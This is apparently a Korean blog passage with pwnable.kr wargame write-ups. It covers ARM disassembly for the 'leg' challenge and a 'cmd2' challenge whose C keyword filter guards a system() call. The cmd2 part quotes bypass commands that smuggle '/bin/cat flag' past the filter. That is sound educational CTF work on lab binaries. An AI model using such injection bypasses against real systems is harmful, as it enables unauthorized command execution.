1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | (gdb) disass key2 Dump of assembler code for function key2: 0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cf4 <+4>: add r11, sp, #0 0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!) 0x00008cfc <+12>: add r6, pc, #1 0x00008d00 <+16>: bx r6 0x00008d04 <+20>: mov r3, pc 0x00008d06 <+22>: adds r3, #4 0x00008d08 <+24>: push {r3} 0x00008d0a <+26>: pop {pc} 0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4) 0x00008d10 <+32>: mov r0, r3 0x00008d14 <+36>: sub sp, r11, #0 0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d1c <+44>: bx lr End of assembler dump. | cs |
자... 여기서도 r0에 r3를 저장하고 끝난다. r3에는 역시 pc값을 저장하고 이 명령어주소+8의 값이므로 0x00008d08 이다.
그런데 여기에 +4의 값을 해주기때문에 r0에 저장되는 값은 0x00008d0c 이다.
이제 key3()만 보면 된다. key3()를 보자.
1 2 3 4 5 6 7 8 9 10 | (gdb) disass key3 Dump of assembler code for function key3: 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008d24 <+4>: add r11, sp, #0 0x00008d28 <+8>: mov r3, lr 0x00008d2c <+12>: mov r0, r3 0x00008d30 <+16>: sub sp, r11, #0 0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d38 <+24>: bx lr End of assembler dump. | cs |
이번에는 pc가 아니라 lr을 r3에 저장하고 r0에 저장하게 된다.
lr은 함수가 호출하기전에 함수복귀주소를 저장하는 레지스터로 인텔로 따지면 스택에 있는 ret와 같다고 보면 된다.
그러므로 이 값은 0x00008d80 이다.
1 2 3 | 0x00008d78 <+60>: add r4, r4, r3 0x00008d7c <+64>: bl 0x8d20 <key3> 0x00008d80 <+68>: mov r3, r0 | cs |
이제 key1() + key2() + key3()의 값을 계산하면 된다. python으로 계산하였다.
0x00008ce4 + 0x00008d08 + 4 + 0x00008d80
108400이란 값이 나왔다. 이제 leg를 실행해서 이 값을 넣어주자
성공~ 플래그를 획득했다.
다른 사람들 롸업보다가 참고할만한 글이 있어서 가져옴..
위의 fetch -> decode -> execute에 대해 자세히 알고싶다면 참고하면 좋을 듯하다.
'Wargame > Pwnable.kr' 카테고리의 다른 글
[pwnable.kr] memcpy (0) | 2018.07.27 |
---|---|
[pwnable.kr] asm (0) | 2018.07.27 |
[pwnable.kr] cmd2 (0) | 2018.06.08 |
[pwnable.kr] uaf - 8 pt (0) | 2018.05.31 |
[pwnable.kr] passcode - 10 pt (0) | 2018.05.28 |
[pwnable.kr] cmd2
cmd1에 이은 cmd2이다.
처음에는 패스워드를 몰라서 들어가는데 한참 고생한 ㅡㅡ;
(pw:flag of cmd1) 라고 뻔히 적혀있는데... pw가 진짜로 "flag of cmd1"이란 문자열인줄 알았다. 멍청...
어쨋든 password로 cmd1의 flag를 입력하고 들어갈 수 있다. 들어가면 cmd1과 비슷한 파일들이 주어진다.
그러나 cmd1과는 다르게 필터가 조금 강화되었다. 보시라!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | #include <stdio.h> #include <string.h> int filter(char* cmd){ int r=0; r += strstr(cmd, "=")!=0; r += strstr(cmd, "PATH")!=0; r += strstr(cmd, "export")!=0; r += strstr(cmd, "/")!=0; r += strstr(cmd, "`")!=0; r += strstr(cmd, "flag")!=0; return r; } extern char** environ; void delete_env(){ char** p; for(p=environ; *p; p++) memset(*p, 0, strlen(*p)); } int main(int argc, char* argv[], char** envp){ delete_env(); putenv("PATH=/no_command_execution_until_you_become_a_hacker"); if(filter(argv[1])) return 0; printf("%s\n", argv[1]); system( argv[1] ); return 0; } | cs |
쓸수없는게 굉장히 많아졌습니다....ㄴ ㅔㅁ
저번에는 그냥 /bin/cat fl* 로 쉽게 풀어서 벌받은 기분...
일단 아래와 같이 풀어보았는데... 플래그 획득후에 pwnable.kr에 writeup올라온 것들 보니
재미있는 풀이가 많아서 가져와서 설명좀 붙여서 적으려다가 굳이 그럴 이유가 있나 싶어서 포기.
어쨋든 획득 성공
pwnable.kr에 있는 writeup에 괜찮은 풀이도 많고 배울것도 많아서 한번 보는것도 나쁘지않다.
이 풀이법이 괜찮더라..
/home/cmd2/cmd2 'set -s' /bin/cat /home/cmd2/flag or ./cmd2 '$(read a; echo $a)' $(read a; echo $a) /bin/cat flag |
'Wargame > Pwnable.kr' 카테고리의 다른 글
[pwnable.kr] asm (0) | 2018.07.27 |
---|---|
[pwnable.kr] leg (0) | 2018.06.08 |
[pwnable.kr] uaf - 8 pt (0) | 2018.05.31 |
[pwnable.kr] passcode - 10 pt (0) | 2018.05.28 |
[pwnable.kr] echo1 - 25 pt (Only ROP!!) (0) | 2018.05.27 |